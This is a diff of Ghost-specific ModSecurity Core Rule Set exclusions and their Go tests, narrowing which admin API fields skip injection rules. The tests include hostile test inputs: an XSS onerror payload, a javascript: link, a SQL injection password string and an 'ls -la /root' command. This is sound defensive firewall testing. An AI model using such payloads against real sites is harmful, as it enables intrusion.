@@ -388,10 +178,9 @@ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
 
 # Code injection, the HTML Ghost adds to the head and the foot of a page, and
 # the site's settings, which hold the site-wide code injection besides the
-# title and the description, skip the eight rules that 900353 lists and these:
+# title and the description, skip the rules of plain text above and these:
 #   921130, 941100, 941160: <meta name="google-site-verification" ...>
 #   941270: <link rel="preconnect" href="https://fonts.example.com">
-# 932235, one of the eight, refused the site's title "powershell & python3".
 # These fields hold it, and skip the rules anywhere on the Admin API:
 #   posts.<n>.codeinjection_head and _foot, and the same fields of pages
 #   settings.<n>.value, the value of a setting
@@ -405,7 +194,6 @@ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
         ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
         ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
         ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
-        ctl:ruleRemoveTargetById=932235;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
         ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
         ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
         ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
@@ -428,23 +216,6 @@ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
     SecRule &ARGS_GET:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html|codeinjection_(?:head|foot))|settings\.\d+\.value)$/ "@eq 0" \
         "ctl:ruleRemoveTargetById=941110;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html|codeinjection_(?:head|foot))|settings\.\d+\.value)$/"
 
-# The canonical URL of a post or a page skips the two rules that url skips:
-#   930120: https://example.com/blog/.htaccess/
-#   932120: https://example.com/blog/powershell/
-# Each of these fields skips them only on its own path:
-#   posts.<n>.canonical_url, under /ghost/api/admin/posts/
-#   pages.<n>.canonical_url, under /ghost/api/admin/pages/
-SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/posts/" \
-    "id:900383,phase:1,pass,nolog,chain"
-    SecRule &ARGS_GET:/^json\.posts\.\d+\.canonical_url$/ "@eq 0" \
-        "ctl:ruleRemoveTargetById=930120;ARGS:/^json\.posts\.\d+\.canonical_url$/,\
-        ctl:ruleRemoveTargetById=932120;ARGS:/^json\.posts\.\d+\.canonical_url$/"
-SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/pages/" \
-    "id:900384,phase:1,pass,nolog,chain"
-    SecRule &ARGS_GET:/^json\.pages\.\d+\.canonical_url$/ "@eq 0" \
-        "ctl:ruleRemoveTargetById=930120;ARGS:/^json\.pages\.\d+\.canonical_url$/,\
-        ctl:ruleRemoveTargetById=932120;ARGS:/^json\.pages\.\d+\.canonical_url$/"
-
 # Saving a staff user's profile sends the field profile_image, whose name holds
 # .profile, a file the list of system files names (930120).
 SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \
@@ -452,36 +223,6 @@ SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \
     SecRule &ARGS_GET:/^json\.users\.\d+\.profile_image$/ "@eq 0" \
         "ctl:ruleRemoveTargetById=930120;ARGS_NAMES:/^json\.users\.\d+\.profile_image$/"
 
-# A tag's code injection, tags.<n>.codeinjection_head and _foot under
-# /ghost/api/admin/tags/, skips the rules that 900356 and 900366 switch off in
-# the code injection of posts. A javascript: link is still refused in it.
-SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/tags/" \
-    "id:900378,phase:1,pass,nolog,chain"
-    SecRule &ARGS_GET:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/ "@eq 0" \
-        "ctl:ruleRemoveTargetById=921130;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
-        ctl:ruleRemoveTargetById=930120;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
-        ctl:ruleRemoveTargetById=932120;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
-        ctl:ruleRemoveTargetById=932125;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
-        ctl:ruleRemoveTargetById=932230;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
-        ctl:ruleRemoveTargetById=932235;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
-        ctl:ruleRemoveTargetById=932250;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
-        ctl:ruleRemoveTargetById=932260;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
-        ctl:ruleRemoveTargetById=932380;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
-        ctl:ruleRemoveTargetById=941100;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
-        ctl:ruleRemoveTargetById=941110;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
-        ctl:ruleRemoveTargetById=941160;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
-        ctl:ruleRemoveTargetById=941270;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/"
-
-# A tag's canonical URL, tags.<n>.canonical_url under /ghost/api/admin/tags/,
-# skips the two rules that url skips:
-#   930120: https://example.com/tag/.htaccess/
-#   932120: https://example.com/tag/powershell/
-SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/tags/" \
-    "id:900382,phase:1,pass,nolog,chain"
-    SecRule &ARGS_GET:/^json\.tags\.\d+\.canonical_url$/ "@eq 0" \
-        "ctl:ruleRemoveTargetById=930120;ARGS:/^json\.tags\.\d+\.canonical_url$/,\
-        ctl:ruleRemoveTargetById=932120;ARGS:/^json\.tags\.\d+\.canonical_url$/"
-
 # The passwords, which skip each rule that random passwords set off:
 #   password, signing in at /ghost/api/admin/session/
 #   setup.<n>.password, creating the first staff user

internal/coreruleset/ghost_test.go

@@ -28,19 +28,6 @@ const (
 	ghostUser          = "/ghost/api/admin/users/6af4570fd281b00001a59891/"
 	ghostMember        = "/members/api/member/"
 	ghostMagicLink     = "/members/api/send-magic-link/"
-	ghostInvites       = "/ghost/api/admin/invites/"
-	ghostInvitation    = "/ghost/api/admin/authentication/invitation/"
-	ghostTiers         = "/ghost/api/admin/tiers/6af45710d281b00001a598a3/"
-	ghostOffers        = "/ghost/api/admin/offers/"
-	ghostRecommended   = "/ghost/api/admin/recommendations/"
-	ghostTags          = "/ghost/api/admin/tags/"
-	ghostImport        = "/ghost/api/admin/members/upload/"
-	ghostComments      = "/members/api/comments/"
-	ghostNote          = "/.ghost/activitypub/v1/actions/note"
-	ghostAccount       = "/.ghost/activitypub/v1/account"
-	ghostAliases       = "/.ghost/activitypub/v1/aliases"
-	ghostMigration     = "/.ghost/activitypub/v1/migration"
-	ghostDomain        = "/.ghost/activitypub/v1/domain"
 )
 
 func TestGhostFixesApplyOnlyToAHostnameThatServesGhost(t *testing.T) {
@@ -77,7 +64,7 @@ func (f ghostField) with(t *testing.T, value string) string {
 	)
 }
 
-// ghostTextFields hold plain text and skip the eight rules that 900353 lists.
+// ghostTextFields hold plain text and skip the rules of 900353 and 900359.
 //
 //nolint:gochecknoglobals // a constant cannot be a list
 var ghostTextFields = []ghostField{
@@ -129,111 +116,8 @@ var ghostTextFields = []ghostField{
 		`{"snippets":[{"name":"VALUE"}]}`,
 	},
 	{http.MethodPut, ghostMember, ghostMemberName},
-
-	// A staff user's profile, the first staff user, an invitation accepted.
-	{http.MethodPut, ghostUser, `{"users":[{"name":"VALUE"}]}`},
-	{http.MethodPut, ghostUser, `{"users":[{"slug":"VALUE"}]}`},
-	{http.MethodPut, ghostUser, `{"users":[{"bio":"VALUE"}]}`},
-	{http.MethodPut, ghostUser, `{"users":[{"location":"VALUE"}]}`},
-	{http.MethodPut, ghostUser, `{"users":[{"website":"VALUE"}]}`},
-	{http.MethodPost, ghostSetup, `{"setup":[{"blogTitle":"VALUE"}]}`},
-	{http.MethodPost, ghostSetup, `{"setup":[{"name":"VALUE"}]}`},
-	{http.MethodPost, ghostInvitation, `{"invitation":[{"name":"VALUE"}]}`},
-
-	// Tiers, offers, recommendations, integrations and webhooks.
-	{http.MethodPut, ghostTiers, `{"tiers":[{"name":"VALUE"}]}`},
-	{http.MethodPut, ghostTiers, `{"tiers":[{"description":"VALUE"}]}`},
-	{
-		http.MethodPut,
-		ghostTiers,
-		`{"tiers":[{"benefits":["Tips","VALUE"]}]}`,
-	},
-	{http.MethodPost, ghostOffers, `{"offers":[{"name":"VALUE"}]}`},
-	{http.MethodPost, ghostOffers, `{"offers":[{"code":"VALUE"}]}`},
-	{http.MethodPost, ghostOffers, `{"offers":[{"display_title":"VALUE"}]}`},
-	{
-		http.MethodPost,
-		ghostOffers,
-		`{"offers":[{"display_description":"VALUE"}]}`,
-	},
-	{
-		http.MethodPost,
-		ghostRecommended,
-		`{"recommendations":[{"title":"VALUE"}]}`,
-	},
-	{
-		http.MethodPost,
-		ghostRecommended,
-		`{"recommendations":[{"description":"VALUE"}]}`,
-	},
-	{
-		http.MethodPost,
-		ghostRecommended,
-		`{"recommendations":[{"excerpt":"VALUE"}]}`,
-	},
-	{
-		http.MethodPost,
-		"/ghost/api/admin/integrations/",
-		`{"integrations":[{"name":"VALUE","description":"VALUE"}]}`,
-	},
-	{
-		http.MethodPost,
-		"/ghost/api/admin/webhooks/",
-		`{"webhooks":[{"event":"post.published","name":"VALUE"}]}`,
-	},
-
-	// A feature image's alt text and caption.
-	{http.MethodPut, ghostPost, `{"posts":[{"feature_image_alt":"VALUE"}]}`},
-	{
-		http.MethodPut,
-		ghostPost,
-		`{"posts":[{"feature_image_caption":` +
-			`"Photo: <a href=\"https://example.com/\">VALUE</a>"}]}`,
-	},
-	{http.MethodPut, ghostPage, `{"pages":[{"feature_image_alt":"VALUE"}]}`},
-
-	// A member's comment, written and edited.
-	ghostNewComment,
-	{
-		http.MethodPut,
-		ghostComments + "6af5426ae56ecb0001938894/",
-		`{"comments":[{"id":"6af5426ae56ecb0001938894","html":"<p>VALUE</p>"}]}`,
-	},
-
-	// ActivityPub: a note, a reply, the description of their image, and the
-	// account.
-	{http.MethodPost, ghostNote, `{"content":"VALUE"}`},
-	{http.MethodPost, ghostReply, `{"content":"VALUE"}`},
-	{http.MethodPost, ghostNote, ghostNoteImage},
-	{http.MethodPost, ghostReply, ghostNoteImage},
-	{http.MethodPut, ghostAccount, `{"name":"VALUE","username":"alice"}`},
-	{http.MethodPut, ghostAccount, `{"username":"VALUE"}`},
-	{http.MethodPut, ghostAccount, `{"bio":"VALUE"}`},
 }
 
-// ghostNewComment is a member's comment on a post, with VALUE in a paragraph.
-//
-//nolint:gochecknoglobals // a constant cannot be a struct
-var ghostNewComment = ghostField{
-	http.MethodPost,
-	ghostComments,
-	`{"comments":[{"post_id":"6af458a5d281b00001a59969","html":"<p>VALUE</p>"}]}`,
-}
-
-// ghostComment is the HTML of an ordinary comment, with a link.
-const ghostComment = `Try <strong>python3</strong>, then ` +
-	`<a href="https://example.com/ls-la" rel="ugc">ls -la</a>.`
-
-// ghostNoteImage is the body of a note or a reply in ActivityPub with an
-// image, with VALUE as the image's description.
-const ghostNoteImage = `{"content":"My desk","image":{"url":` +
-	`"https://example.com/content/images/desk.png","altText":"VALUE"}}`
-
-// ghostReply is the path that posts a reply to a note in ActivityPub.
-const ghostReply = "/.ghost/activitypub/v1/actions/reply/" +
-	"https%3A%2F%2Fexample.com%2F.ghost%2Factivitypub%2Fnote%2F" +
-	"0d6e3b4c-2a1f-4b5e-9c8d-7e6f5a4b3c2d"
-
 // ghostMemberName is the body that saves a member's name at /members/api/.
 const ghostMemberName = `{"name":"VALUE"}`
 
@@ -251,8 +135,6 @@ var ghostAddressFields = []ghostField{
 	{http.MethodPost, ghostMembers, `{"members":[{"email":"VALUE"}]}`},
 	{http.MethodPost, ghostSession, `{"username":"VALUE"}`},
 	{http.MethodPost, ghostSetup, `{"setup":[{"email":"VALUE"}]}`},
-	{http.MethodPost, ghostInvites, `{"invites":[{"email":"VALUE"}]}`},
-	{http.MethodPost, ghostInvitation, `{"invitation":[{"email":"VALUE"}]}`},
 	{
 		http.MethodPost,
 		ghostPasswordReset,
@@ -261,43 +143,6 @@ var ghostAddressFields = []ghostField{
 	{http.MethodPut, ghostUser, `{"users":[{"email":"VALUE"}]}`},
 }
 
-// ghostHandleFields hold an account's handle in ActivityPub, which the admin
-// sends as an @ followed by an address, with no spaces. They skip 930120 and
-// 932120.
-//
-//nolint:gochecknoglobals // a constant cannot be a list
-var ghostHandleFields = []ghostField{
-	{http.MethodPost, ghostAliases, `{"sourceHandle":"@VALUE"}`},
-	{http.MethodPost, ghostMigration, `{"targetHandle":"@VALUE"}`},
-}
-
-// ghostDomainFields hold the domain of the site's handle in ActivityPub and
-// skip 930120, 932120 and 932260.
-//
-//nolint:gochecknoglobals // a constant cannot be a list
-var ghostDomainFields = []ghostField{
-	{http.MethodPut, ghostDomain, `{"domain":"VALUE"}`},
-	{http.MethodPost, ghostDomain + "/validate", `{"domain":"VALUE"}`},
-}
-
-// ghostURLFields hold the canonical URL of a post, a page or a tag, or the
-// address of an account removed from those that move here in ActivityPub.
-// They skip 930120 and 932120, as url does.
-//
-//nolint:gochecknoglobals // a constant cannot be a list
-var ghostURLFields = []ghostField{
-	{http.MethodPut, ghostPost, `{"posts":[{"canonical_url":"VALUE"}]}`},
-	{http.MethodPost, ghostPosts, `{"posts":[{"canonical_url":"VALUE"}]}`},
-	{http.MethodPut, ghostPage, `{"pages":[{"canonical_url":"VALUE"}]}`},
-	{http.MethodPost, ghostTags, `{"tags":[{"canonical_url":"VALUE"}]}`},
-	{
-		http.MethodPut,
-		ghostTags + "6af45d4ed281b00001a599a8/",
-		`{"tags":[{"canonical_url":"VALUE"}]}`,
-	},
-	{http.MethodDelete, ghostAliases, `{"actorUri":"VALUE"}`},
-}
-
 // ghostPostFields hold a post or a page, skip the rules of 900355, and take a
 // <script> element by 900366.
 //
@@ -338,8 +183,8 @@ var ghostArticleFields = slices.Concat(
 	ghostSnippetAndNewsletterFooterFields,
 )
 
-// ghostCodeFields hold code injection or a setting, skip the rules of 900356
+// ghostCodeFields hold code injection or a setting, skip the rules of 900356,
-// and 900378, and take a <script> element by 900366 and 900378.
+// and take a <script> element by 900366.
 //
 //nolint:gochecknoglobals // a constant cannot be a list
 var ghostCodeFields = []ghostField{
@@ -358,16 +203,6 @@ var ghostCodeFields = []ghostField{
 		`{"settings":[{"key":"title","value":"Blog"},` +
 			`{"key":"codeinjection_head","value":"VALUE"}]}`,
 	},
-	{
-		http.MethodPost,
-		ghostTags,
-		`{"tags":[{"codeinjection_head":"VALUE"}]}`,
-	},
-	{
-		http.MethodPut,
-		ghostTags + "6af45d4ed281b00001a599a8/",
-		`{"tags":[{"codeinjection_foot":"VALUE"}]}`,
-	},
 }
 
 // The query fields that skip some rules, each ending in "=".
@@ -376,50 +211,22 @@ const (
 	ghostContentFilter = "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter="
 	ghostSearch        = ghostMembers + "?limit=100&search="
 	ghostEmbed         = "/ghost/api/admin/oembed/?type=bookmark&url="
-	ghostStats         = "/ghost/api/admin/stats/top-content/?date_from=2026-10-13"
-	ghostPathname      = ghostStats + "&pathname="
-	ghostSource        = ghostStats + "&source="
-	ghostCampaign      = ghostStats + "&utm_campaign="
-	ghostSegment       = ghostPost + "?newsletter=default-newsletter&email_segment="
-	ghostAccountSearch = "/.ghost/activitypub/v1/actions/search?query="
-	ghostInvitedEmail  = ghostInvitation + "?email="
 )
 
-// ghostAnalyticsFilters are source and the utm_ fields, which filter the
-// analytics, each ending in "=".
-//
-//nolint:gochecknoglobals // a constant cannot be a list
-var ghostAnalyticsFilters = []string{
-	ghostSource,
-	ghostStats + "&utm_source=",
-	ghostStats + "&utm_medium=",
-	ghostCampaign,
-	ghostStats + "&utm_content=",
-	ghostStats + "&utm_term=",
-}
-
 // ghostQueryFields are the query fields that skip some rules.
 //
 //nolint:gochecknoglobals // a constant cannot be a list
 var ghostQueryFields = []string{
 	ghostAdminFilter, ghostContentFilter, ghostSearch, ghostEmbed,
-	ghostPathname, ghostSource, ghostCampaign, ghostSegment,
-	ghostAccountSearch, ghostInvitedEmail,
 }
 
-// ghostCommandNames joins two command names, as an ordinary title can.
+// ghostURLs are addresses 930120 and 932120 refused in url.
-const ghostCommandNames = "powershell & python3"
-
-// ghostURLs are addresses 930120 and 932120 refused in url and in
-// ghostURLFields.
 //
 //nolint:gochecknoglobals // a constant cannot be a list
 var ghostURLs = []string{
 	"https://github.com/example/site/blob/main/.htaccess",
 	"https://example.com/blog/powershell-tips?ref=ghost",
 	"https://example.com/docs/python3/",
-	"https://example.com/blog/powershell/",
-	"https://example.com/blog/.htaccess/",
 }
 
 // ghostAddresses are addresses 930120, 932120 and 932260 refused.
@@ -431,15 +238,6 @@ var ghostAddresses = []string{
 	"dave.powershell@example.com",
 }
 
-// ghostDomains are domains 930120, 932120 and 932260 refused.
-//
-//nolint:gochecknoglobals // a constant cannot be a list
-var ghostDomains = []string{
-	"erin.htaccess.example.com",
-	"python3.example.com",
-	"powershell.example.com",
-}
-
 // ghostArticle is an ordinary article with a code block, an HTML card and an
 // embed, which each of the rules of 900355 refused.
 const ghostArticle = `<h2>Tidy .htaccess with python3</h2>` +
@@ -529,24 +327,14 @@ func TestGhostOrdinaryValuesPassInTheExcludedFields(t *testing.T) {
 
 	for _, address := range ghostURLs {
 		wantGhostQuery(t, ghostEmbed+url.QueryEscape(address), false)
-
-		for _, f := range ghostURLFields {
-			wantGhostField(t, f, address, false)
-		}
 	}
 
 	for _, address := range ghostAddresses {
-		for _, f := range slices.Concat(ghostAddressFields, ghostHandleFields) {
+		for _, f := range ghostAddressFields {
 			wantGhostField(t, f, address, false)
 		}
 	}
 
-	for _, domain := range ghostDomains {
-		for _, f := range ghostDomainFields {
-			wantGhostField(t, f, domain, false)
-		}
-	}
-
 	for _, f := range ghostArticleFields {
 		wantGhostField(t, f, ghostArticle, false)
 	}
@@ -555,14 +343,6 @@ func TestGhostOrdinaryValuesPassInTheExcludedFields(t *testing.T) {
 		wantGhostField(t, f, ghostCodeInjection, false)
 	}
 
-	wantGhostField(t, ghostNewComment, ghostComment, false)
-	wantGhostField(
-		t,
-		ghostField{http.MethodPost, ghostNote, ghostNoteImage},
-		"A terminal running ls -la on .htaccess with python3",
-		false,
-	)
-
 	wantGhostQuery(t, "/ghost/api/admin/posts/?filter="+
 		url.QueryEscape(
 			"tag:powershell+status:[draft,scheduled,published,sent]",
@@ -596,8 +376,7 @@ func TestGhostScriptsPassInPostsAndCodeInjection(t *testing.T) {
 		wantGhostField(t, f, ghostWidget, false)
 	}
 
-	// Site code injection, saved in settings, and a post's, a page's or a
+	// Site code injection, saved in settings, and a post's or a page's own.
-	// tag's own.
 	for _, f := range ghostCodeFields {
 		wantGhostField(t, f, ghostAnalytics, false)
 	}
@@ -616,7 +395,6 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
 
 	for _, attack := range ghostAttacks {
 		for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
-			ghostHandleFields, ghostDomainFields, ghostURLFields,
 			ghostArticleFields, ghostCodeFields) {
 			wantGhostField(t, f, attack, true)
 		}
@@ -629,7 +407,6 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
 	// A script injection stays refused in every field that does not take a
 	// <script> element.
 	for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
-		ghostHandleFields, ghostDomainFields, ghostURLFields,
 		ghostSnippetAndNewsletterFooterFields) {
 		wantGhostField(t, f, scriptTag, true)
 	}
@@ -638,19 +415,13 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
 		wantGhostQuery(t, target+url.QueryEscape(scriptTag), true)
 	}
 
-	// A command after a separator stays refused wherever 932235 does not
+	// A command after a separator stays refused wherever its rules do not
-	// misfire: in the addresses, handles, the domain, ghostURLFields, search,
+	// misfire: in the query fields, the plain text and the addresses.
-	// url, pathname, email_segment and email. The other fields skip 932235,
+	for _, f := range slices.Concat(ghostTextFields, ghostAddressFields) {
-	// which refuses "powershell & python3" as it refuses this.
-	for _, f := range slices.Concat(ghostAddressFields, ghostHandleFields,
-		ghostDomainFields, ghostURLFields) {
 		wantGhostField(t, f, commandAfterASeparator, true)
 	}
 
-	for _, target := range []string{
+	for _, target := range ghostQueryFields {
-		ghostSearch, ghostEmbed, ghostPathname, ghostSegment,
-		ghostInvitedEmail,
-	} {
 		wantGhostQuery(
 			t,
 			target+url.QueryEscape(commandAfterASeparator),
@@ -658,15 +429,6 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
 		)
 	}
 
-	// A comment keeps the rules for scripts and HTML.
-	wantGhostField(t, ghostNewComment, `<img src=x onerror=alert(1)>`, true)
-	wantGhostField(
-		t,
-		ghostNewComment,
-		`<a href="javascript:alert(1)">x</a>`,
-		true,
-	)
-
 	// The articles and code injection carry HTML on purpose, but a
 	// javascript: link is still refused there, and a script element in
 	// snippets and a newsletter's footer.
@@ -678,138 +440,12 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
 		wantGhostField(t, f, `<p>Hi</p><script src="/x.js"></script>`, true)
 	}
 
-	// An address and the domain keep 932250, which refuses a listing of
+	// An address keeps 932250, which refuses a listing of files.
-	// files. A handle keeps it too, but its @ comes before any command.
+	for _, f := range ghostAddressFields {
-	for _, f := range slices.Concat(ghostAddressFields, ghostDomainFields) {
 		wantGhostField(t, f, "ls -la /root", true)
 	}
 }
 
-func TestGhostTwoCommandNamesPass(t *testing.T) {
-	t.Parallel()
-
-	// The site's title, saved through settings.
-	siteTitle := ghostField{
-		http.MethodPut,
-		ghostSettings,
-		`{"settings":[{"key":"title","value":"VALUE"}]}`,
-	}
-	wantGhostField(t, siteTitle, ghostCommandNames, false)
-
-	// Values that join two command names, as a person types them.
-	for _, typed := range []string{
-		ghostCommandNames, "python3 & powershell", "powershell & ls -la",
-		"ls -la & python3",
-	} {
-		for _, f := range slices.Concat(ghostTextFields, ghostCodeFields) {
-			wantGhostField(t, f, typed, false)
-		}
-
-		wantGhostImportLabel(t, ghostImport, typed, false)
-
-		for _, target := range slices.Concat(
-			ghostAnalyticsFilters,
-			[]string{ghostAccountSearch},
-		) {
-			wantGhostQuery(t, target+url.QueryEscape(typed), false)
-		}
-
-		// filter as the admin's post picker writes it, after a person types
-		// such a title.
-		filter := "status:published+title:~'" + typed + "'"
-		wantGhostQuery(t, ghostAdminFilter+url.QueryEscape(filter), false)
-	}
-}
-
-// TestGhostOrdinaryQueriesPass checks the query fields of the analytics
-// pages, email_segment, the search of ActivityPub and the check of an
-// invitation.
-func TestGhostOrdinaryQueriesPass(t *testing.T) {
-	t.Parallel()
-
-	for _, encoded := range hardValues {
-		value, _ := url.QueryUnescape(encoded)
-		text := url.QueryEscape("Notes on " + value + " & tidy files")
-
-		for _, target := range ghostAnalyticsFilters {
-			wantGhostQuery(t, target+encoded, false)
-		}
-
-		wantGhostQuery(t, ghostCampaign+text, false)
-		wantGhostQuery(t, ghostAccountSearch+text, false)
-	}
-
-	// pathname, the page the analytics show: a post and two tag pages.
-	for _, path := range []string{
-		"/tag/proc/", "/python3-and-powershell/", "/tag/python3/",
-	} {
-		wantGhostQuery(t, ghostPathname+url.QueryEscape(path), false)
-	}
-
-	wantGhostQuery(
-		t,
-		ghostCampaign+url.QueryEscape(ghostCommandNames),
-		false,
-	)
-	wantGhostQuery(
-		t,
-		ghostAccountSearch+"%40powershell%40example.com",
-		false,
-	)
-
-	for _, segment := range []string{
-		"label:powershell-users", "label:python3", "label:ls-la",
-		"label:htaccess", "status:free,tier:powershell-club",
-	} {
-		wantGhostQuery(t, ghostSegment+url.QueryEscape(segment), false)
-	}
-
-	for _, address := range ghostAddresses {
-		wantGhostQuery(t, ghostInvitedEmail+url.QueryEscape(address), false)
-	}
-}
-
-// wantGhostImportLabel checks that the Core Rule Set, reading bodies,
-// refuses label, sent as labels in a CSV import to target, or lets it
-// through.
-func wantGhostImportLabel(
-	t *testing.T, target, label string, refused bool,
-) {
-	t.Helper()
-
-	r := request{http.MethodPost, target, []string{multipart}}
-	body := field("labels", label) + field("mapping[email]", "email") + end
-
-	got, _ := inspectBody(t, readingBodies(t), r, body)
-	if refused && got.Score < ghostThreshold {
-		t.Errorf("labels=%q at %s let through: %+v", label, target, got)
-	}
-
-	if !refused && got.Score >= ghostThreshold {
-		t.Errorf("labels=%q at %s refused: %+v", label, target, got)
-	}
-}
-
-func TestGhostImportLabelsPass(t *testing.T) {
-	t.Parallel()
-
-	for _, encoded := range hardValues {
-		value, _ := url.QueryUnescape(encoded)
-		wantGhostImportLabel(t, ghostImport, value+" import", false)
-	}
-
-	wantGhostImportLabel(t, ghostImport, ghostCommandNames, false)
-
-	for _, attack := range ghostAttacks {
-		wantGhostImportLabel(t, ghostImport, attack, true)
-	}
-
-	// labels keeps its rules on other paths, and when the query has a field
-	// of the same name.
-	wantGhostImportLabel(t, ghostMembers, "python3 import", true)
-	wantGhostImportLabel(t, ghostImport+"?labels=x", "python3 import", true)
-}
-
 func TestGhostExclusionsAreNarrow(t *testing.T) {
 	t.Parallel()
 
@@ -826,8 +462,6 @@ func TestGhostExclusionsAreNarrow(t *testing.T) {
 		setupEmail         = `{"setup":[{"email":"python3.dev@example.com"}]}`
 		passwordResetEmail = `{"password_reset":[{"email":"python3.dev@example.com"}]}`
 		userEmail          = `{"users":[{"email":"python3.dev@example.com"}]}`
-		postURL            = `{"posts":[{"canonical_url":"https://example.com/powershell/"}]}`
-		pageURL            = `{"pages":[{"canonical_url":"https://example.com/powershell/"}]}`
 	)
 
 	for _, refused := range []struct{ target, body string }{
@@ -847,6 +481,7 @@ func TestGhostExclusionsAreNarrow(t *testing.T) {
 			`{"settings":[{"value":"<meta name=x content=y>"}]}`,
 		},
 		{"/ghost/api/admin/members/", `{"members":[{"geolocation":"python3"}]}`},
+		{"/ghost/api/admin/invites/", `{"invites":[{"email":"python3.dev@example.com"}]}`},
 		{ghostPosts, email},
 		{ghostMembers, email},
 		{ghostMember, `{"members":[{"email":"python3.dev@example.com"}]}`},
@@ -863,12 +498,6 @@ func TestGhostExclusionsAreNarrow(t *testing.T) {
 		{ghostPasswordReset + "?json.password_reset.0.email=x", passwordResetEmail},
 		{ghostPosts, userEmail},
 		{ghostUser + "?json.users.0.email=x", userEmail},
-		{"/api/posts/1/", postURL},
-		{ghostMembers, postURL},
-		{ghostPage, postURL},
-		{ghostPost + "?json.posts.0.canonical_url=x", postURL},
-		{ghostPost, pageURL},
-		{ghostPage + "?json.pages.0.canonical_url=x", pageURL},
 		{ghostSession, `{"username":"x","pass":"' OR '1'='1"}`},
 		{"/ghost/api/admin/users/me/", `{"password":"' OR '1'='1"}`},
 		{"/ghost/api/admin/posts/1/", `{"users":[{"profile_image":null}]}`},
@@ -904,7 +533,6 @@ func TestGhostScriptExclusionIsNarrow(t *testing.T) {
 		script           = `<script defer src=\"/script.js\"></script>`
 		scriptInPost     = `{"posts":[{"lexical":"` + script + `"}]}`
 		scriptInSettings = `{"settings":[{"value":"` + script + `"}]}`
-		scriptInTag      = `{"tags":[{"codeinjection_head":"` + script + `"}]}`
 	)
 
 	for _, refused := range []struct{ target, body string }{
@@ -914,8 +542,6 @@ func TestGhostScriptExclusionIsNarrow(t *testing.T) {
 		{"/ghost/api/admin/users/me/", `{"users":[{"bio":"` + script + `"}]}`},
 		{"/api/settings/", scriptInSettings},
 		{ghostSettings + "?json.settings.0.value=x", scriptInSettings},
-		{ghostPosts, scriptInTag},
-		{ghostTags + "?json.tags.0.codeinjection_head=x", scriptInTag},
 	} {
 		r := request{http.MethodPut, refused.target, []string{jsonBody}}
 
@@ -937,8 +563,7 @@ func TestGhostQueryExclusionsAreNarrow(t *testing.T) {
 
 	// The query fields keep their rules off Ghost's paths, and in other
 	// query fields there. search skips its rules only on the Admin API, and
-	// url only on the editor's lookup of embeds. pathname, email_segment,
+	// url only on the editor's lookup of embeds.
-	// query and email skip theirs only on their own paths.
 	for _, target := range []string{
 		"/api/posts/?filter=powershell",
 		"/ghost/posts/?filter=powershell",
@@ -947,79 +572,11 @@ func TestGhostQueryExclusionsAreNarrow(t *testing.T) {
 		"/members/api/member/?search=python3",
 		"/ghost/api/admin/posts/?url=powershell",
 		"/oembed/?url=powershell",
-		"/ghost/api/admin/posts/?pathname=%2Fpowershell%2F",
-		"/ghost/api/admin/stats/top-content/?order=powershell",
-		"/ghost/api/admin/pages/?email_segment=label%3Apowershell-users",
-		"/ghost/api/admin/posts/?query=python3",
-		"/.ghost/activitypub/v1/actions/note?query=python3",
-		"/ghost/api/admin/invites/?email=python3.dev%40example.com",
 	} {
 		wantGhostQuery(t, target, true)
 	}
 }
 
-// TestGhostStaffCommentAndActivityPubExclusionsAreNarrow checks the body
